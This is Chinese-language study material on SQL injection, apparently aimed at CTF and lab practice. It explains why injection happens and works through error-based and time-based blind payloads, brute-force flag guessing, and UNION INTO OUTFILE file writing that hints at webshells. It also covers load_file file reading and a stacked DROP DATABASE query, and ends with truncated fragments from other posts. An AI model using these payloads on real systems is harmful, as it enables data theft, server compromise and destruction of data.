一.為什麼會有sql注入
1.不當的字元處理
sql資料庫將單引號解析成了**與資料的分割線,單引號外面的內容均是需要執行的的**·。將使用者輸入直接傳遞給動態建立的sql語句,單引號字元會被解析成字元分隔符,並作為**與字元的分界。
注意:處理數字型資料是不需要使用單引號將數字資料引起來。
2.不安全的資料庫配置
sqlsserver經常用「sa」作為資料庫管理賬戶,mysql使用「root」作為資料庫管理賬戶,oracle在建立資料庫會建立sys,system和outln賬戶。而一些預設賬戶會有預設密碼。
3.不合理的查詢處理
在進行資料庫操作時,使用者輸入的資料沒有嚴格的過濾,使用者可以自己構造sql語句,採用拼接、注釋等方式構造sql語句來執行自己的語句。(萬能密碼)
4.不當的錯誤處理
將詳細的內部錯誤資訊展示給使用者或攻擊者,一些錯誤資訊會為攻擊者提供**缺陷或者有關的線索。開發和伺服器配置時導致將錯誤直接回顯。
二. sql注入分類
以字元型別分類
數字型:不需要單引號和雙引號閉合
字元型:在注入中考慮引號的閉合和注釋
以注入方式分類
回顯:將構造的sql語句執行後的結果回顯或者報錯的形式顯示出來。
盲注:開發時關閉錯誤顯示,輸入內容不在頁面中展示出來
三.回顯注入
四.回顯報錯
count() select count(*) from table_name 返回表內資料條數
select count(*); select count(222); 返回1
rand() select rand(); select(數字) 返回隨機浮點數數
rand(5)=rand(5)
select rand(a); 直接報錯 unknown column 'a' in 'field list'
select rand(a) from table_name; 如果表裡有這個列名則返回浮點數,否則報錯
rand() 預設為0到1 rand()*2 設定為0到2
group by 與order by 類似
ps:sleep() 睡眠暫停 若成功執行,返回0 若被中斷則返回1
and sleep(5) 單位為s《設定5比較適中》
看返回結果響應時間
可以直接數也可以f12檢視
if(expr1,expr2,expr3) 如果expr1為真則返回expr2;如果expr1為假則返回expr3
if() 的返回值為數字值或字串值,具體情況看其所在語境
select if(1,'ture','flase'); 返回ture
select if(0,'ture','flase'); 返回flase
mid(str,num,num) mid(字串,起始位數,查詢位數)
select mid('asdf',1,2); 返回as
也可以這樣 select mid((select username from admin where id=1),1,1);
select ascii(mid(user(),1,1))=114; 返回1 說明第一位是r
select if(ascii(mid(user(),1,1))=114,sleep(5),1); 如果user()第一位是r則延遲5秒後返回0,如果不是則直接返回1 用and鏈結
length() 長度函式
select length(user()) 14位使用者名稱
and length(user())=a
select if(ascii(mid(user(),1,1))=114,sleep(5),1) 設定變數burp往出跑
and if(ascii(mid(user(),1,1))=114,sleep(5),1) 類似的也可以爆出其他資訊
也可以這樣 select if(mid(user(),1,1) like 'r%',sleep(5),1) 設定兩個變數繼續跑
暴力猜解
and exists(select * from table_name); 判斷是否有table_name表
and exists(select flag from table_name)判斷是否有flag欄位,將flag作為變數猜解
利用length猜解字段長度
and (select length(flag) form table_name)>5
將數字5作為變數猜解
然後利用ascii碼繼續猜解
and (select ord(substr(flag,1,1)) from table_name)>97
把97作為變數猜解flag
推薦sqli_labs練習**寫入檔案**
1.絕對路徑 d:\php\www
2.最高許可權 mysql- root 這裡不是說你是root使用者名稱就是最高許可權了...
union select 1,"hackby123",3 into outfile "d:\\php\\www\\1.txt"
注意寫目錄時 因為 \ 有轉移的意思,所以必須寫\\ 或/
就會有乙個1.txt的檔案 內容為 1 "hackby123" 3
當然union聯合查詢要與前面的列數保持一致要不然會報錯
這裡也可以用來寫入 一句話......
**讀取檔案**
load_file() 載入檔案
replace()
hex() 轉為十六進製制防止亂碼
事先判斷好回顯點
union select 1,load_file('d:/php/www/1.txt'),3
會出現檔案中內容 一般將d:/php/www/1.txt轉為十六進製制
union select 1,load_file(0x443a2f7068702f7777772f312e747874),3
但這樣如果檔案中有中文或者檔案內容過長時會出現亂碼
所以轉為十六進製制,然後再轉回字元,就解決了亂碼問題
union select 1,hex(load_file(0x443a2f7068702f7777772f312e747874)),3
**刪除資訊**
select 1,2,3 from news where name='1251';drop database test #'
刪除 test 資料庫
sql注入(筆記)
一般注入,select注入 1.注釋符號 2.過濾空格注入 使用 或 或 代替空格 0c form feed,new page 09 horizontal tab 0d carriage return 0a line feed,new line3.多條顯示 concat group concat c...
sql注入筆記
sql注入sql注入 盲注 1.判斷是否存在注入,注入是字元型還是數字型 2.猜解當前資料庫名 3.猜解資料庫中的表名 4.猜解表中的欄位名 5.猜解資料 sql注入步驟 開始攻擊 一般用於試驗的字串是 1 and 1 2 會導致查詢結果為空 輸入 1 or 1234 1234,確認是否有漏洞。如果...
sql注入筆記
1.什麼是sql注入 sql注入是將sql 新增到輸入引數中,傳遞sql伺服器解析並執行的一種攻擊手法。sql引數未經過濾直接拼接到sql語句當中,解析執行,到達預想之外的效果 sql select from where id 1 or 1 1 or 1 1 條件查詢整張表的 2.sql注入是怎麼產...